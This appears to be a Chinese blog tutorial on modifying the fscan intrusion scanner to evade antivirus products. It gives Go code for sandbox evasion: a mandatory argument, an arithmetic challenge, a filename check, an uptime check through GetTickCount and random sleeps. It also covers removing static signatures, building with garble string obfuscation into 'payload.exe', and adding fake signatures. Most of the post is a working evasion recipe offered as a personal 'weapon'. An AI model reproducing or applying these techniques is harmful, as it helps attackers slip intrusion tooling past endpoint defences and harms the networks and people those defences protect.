fscan二开绕过与免杀实录:从认识结构到免杀化绕过数字某绒
前言
在日益严格的安全环境下,传统的木马样本很容易被静态分析、行为分析所识别。本文记录我对某 Go 编写的fscan安全工具进行二次开发,通过绕过特征、减小体积,从而实现较高程度的免杀。
很多人都想要自己的一个免杀化武器 但因为并不是开发或者安全开发出生 二开这种大型项目是特别困难 本人开发水平也极低 甚至完全不了解go语言 很多大佬对fscan的免杀化处理更多的是对项目进行重构 这里我不会牵扯到过多的开发知识 更多的是免杀技巧 所以新手也可以观看
下载项目
这里我用的是 https://github.com/shadow1ng/fscan的
git clone https://github.com/shadow1ng/fscan
图中标记的地方是免杀的关键地方 基本做好这两个处理也就可以绕过大部分杀毒软件
除静态特征
首先去除静态特征 避免静态查杀 去除全项目下的"fscan"字样 fscan项目导入库含有大量的fscan项目 我们替换名称即可 修改成 module hacker
进入go.mod文件 在module写上自定义的名字
如图所示 hacker变成是主项目 所有的就变成了hacker/xxxx 的形式 这样我们就去除了静态特征 此外在编辑器全局搜索fscan替换其他字符串
如图 箭头所指 参数分别为解析到的参数 命令行参数名 默认值 命令帮助输出
我们可以修改命令行参数名 让fscan运行的时候 参数不同 例如更改-h 原本-h的被我改成了ta
去除fscan中banner的信息 直接删掉即可 或者加入你想要的 尽可能避免危险字符串
在i18n.go文件中是fscan帮助输出 我们可以对这部分进行修改实现更强的抗静态
过动态检测
接下来是绕过的关键
过动态的关键在于反沙箱和更换运行逻辑 对main.go进行着重修改 可以参考我下面写的
func main() {
if len(os.Args) < 2 || os.Args[1] != "confirm" {
fmt.Println("[+] 请以 confirm 模式启动程序: xxx.exe confirm")
os.Exit(1)
}//通过修改运行条件 默认无参数运行fscan会出现help 我们以固定一个参数才会正常启动 以此绕过沙箱的执行检测
// 注意这里是必要 因为前面的固定参数影响了fscan的命令解析 重写 os.Args,把 "confirm" 去掉,否则 flag.Parse 会误认为 confirm 是 -h
os.Args = append(string{os.Args[0]}, os.Args[2:]...)
//关键过沙箱 通过时间戳动态获得随机数 增加类似人机校验的操作 极大了加强了抗沙箱
rand.Seed(time.Now().UnixNano())
n1 := rand.Intn(15)
n2 := rand.Intn(15)
checktime()
fmt.Println("[+] enter your Verification")
fmt.Printf("[ %d ] + [ %d ] = ", n1, n2)
var num int
_, _ = fmt.Scanf("%d", &num)
if num != n1+n2 {
os.Exit(1)
}
check()
//随机睡眠时间 绕过部分沙箱的最大执行时间
sleeptime := rand.Intn(8)
time.Sleep(time.Duration(sleeptime) * time.Second)
Common.InitLogger()
var Info Common.HostInfo
Common.Flag(&Info)
_ = Common.Parse(&Info)
_ = Common.InitOutput()
defer Common.CloseOutput()
Core.Scan(Info)
}
//这个函数非常好用 因为很多上传到云端的样本为了避免样本重名 会对样本进行改名 这时候我们检查当前运行的文件昵称是否被修改
func check() {
if filepath.Base(os.Args[0]) != "can.exe" {
os.Exit(1)
}
}
//通过是绕过沙箱的操作 免杀里经常出现的 可以加入自己的想法 不过其实这里抗沙箱强度已经够了 不必多写
func checktime() {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
ms := time.Duration(r * 1000 * 1000)
//fmt.Println("开机时常为:", ms)
tm := time.Duration(30 * time.Minute)
if ms < tm {
os.Exit(1)
}
}
编译与特征清洗:使用 garble 彻底打散 Go 二进制特征
为了提升免杀能力,我最终采用了 burrowers/garble 作为 Go 项目的构建器。它的作用不仅是 混淆变量名与函数符号,还能打乱静态结构、压缩调试信息、规避签名特征,非常适合用于生成更隐蔽的执行载荷。
garble 是什么?
garble 是一个透明的 go build 包装器,支持:
混淆符号名(函数、变量、结构体等)
去除调试信息(默认启用)
改写构建路径(默认启用 -trimpath)
随机化编译结果(每次构建输出不同)
支持构建 plugin、shared object、纯 PE 可执行文件
go install mvdan.cc/garble@latest
安装后会在 $GOPATH/bin/garble 下生成可执行文件。
构建方式与 go build 类似,但会自动应用混淆和优化:
garble -literals -tiny build -o payload.exe main.go
说明:
-literals:混淆字符串/整数等字面量,绕过静态规则匹配
-tiny:进一步精简输出体积(剥离符号、缩减段表)
build:等效于 go build
这里已经完美的绕过了数字和某绒和defender 开发能力强的师傅可以对其他部分进行二开和重构
注意如果是数字的话 打入假签名效果会更好
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...